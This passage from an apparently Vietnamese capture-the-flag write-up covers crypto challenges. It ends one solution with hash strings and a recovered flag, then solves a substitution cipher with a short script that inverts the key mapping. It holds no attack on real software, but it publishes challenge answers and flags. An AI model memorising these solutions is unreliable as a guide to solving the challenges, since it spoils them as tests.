'9f876db4b58c1b7e499f35cdbd533a810060a0c8250bfc5421e0f42b2715b027', '4b14748ba0f3da581ddd7ec49dac41d34ea1ee6dae90818333b11501', '85153b2a5f8dea7f5488906cb65d61e9ac0666057636ff6b356dd4d8d0fc5d20', '6b91d6259827176bcb3f312a8faca297e56c7e627235b930cf8163b3e7a5328b', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', '4c8740f90af1055f194a4c8e1b69522da228812465eb72b82b35c927bc48bf9d', 'b248b6b2f2c9365aa9a0e9b37a8057effd29bb2f34c79ec0b40124d08986832b5d227db95cb97b176541589985762d9a', '7260f9b5d1c58d0609523114ed324f396335d940f852dba558461b34c5a53630', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', '1077caf3ed754ed8fbd49c76134906e8', 'f3565219d115ec74a85056997cc25e98e3e4912a31c858c1e45b841047698e93', '83315b8fa07a35b12e3f47ebb365268b4a4a8ef2', '64c008d6460c2b98aba616b1d0d11a06b9df564b87d3aeedda83b36aacd3d0c160465109eb06c62e86e360cf026faa27a616dbbf2bec269be9ad128af96073bb', '60bbd94b3ac3ea7149fc6cd850d72d4f1750601275832815dd9a23d4c3757d84aca29d716da5dd72a0045f15ff969925', '94327e8c8321421e72f52cd726336e824630ec7dda31b07ce83f11b8234aea7a', 'a69ef62254280226cc4223a2341c727afcd7ce4e3ffd3f2f1c57d9d3cd30659b52b1c2b56f911a7157041b5f0ff8176f', '3c904622c8d8d79c6704d50ae0175b049b3a5708705ecdce932fe426b9f46f1bd6585b8288c1d38f6301c31af5feac02', 'a3939bf491ffd9824056e249d6e355d8423855f0'] flag = decrypt_flag(ct) print(flag) ``` </details> > Flag: W1{are_you_trying_to_predict_randomness@_@} ## SUBTITUTION Ở bài này, mình thấy rằng đoạn code đối chiếu qua các phần tử của KEY. Vậy từ KEY, mình tạo một mảng ngược lại với KEY và đối chiếu thì sẽ được flag. <details> <summary>exploit.py</summary> ```python= KEY = { 'A': 'Q', 'B': 'W', 'C': 'E', 'D': 'R', 'E': 'T', 'F': 'Y', 'G': 'U', 'H': 'I', 'I': 'O', 'J': 'P', 'K': 'A', 'L': 'S', 'M': 'D', 'N': 'F', 'O': 'G', 'P': 'H', 'Q': 'J', 'R': 'K', 'S': 'L', 'T': 'Z', 'U': 'X', 'V': 'C', 'W': 'V', 'X': 'B', 'Y': 'N', 'Z': 'M', 'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y', 'g': 'u', 'h': 'i', 'i': 'o', 'j': 'p', 'k': 'a', 'l': 's', 'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k', 's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b', 'y': 'n', 'z': 'm', } REVERSE_KEY = {v: k for k, v in KEY.items()} def hehe(data, key): return ''.join(key.get(char, char) for char in data) def decrypt(ciphertext): return hehe(ciphertext, REVERSE_KEY) if __name__ == "__main__": encrypted = "V1{lxwlzozxzogf}" decrypted = decrypt(encrypted) print("Decrypted message:", decrypted) ``` </details>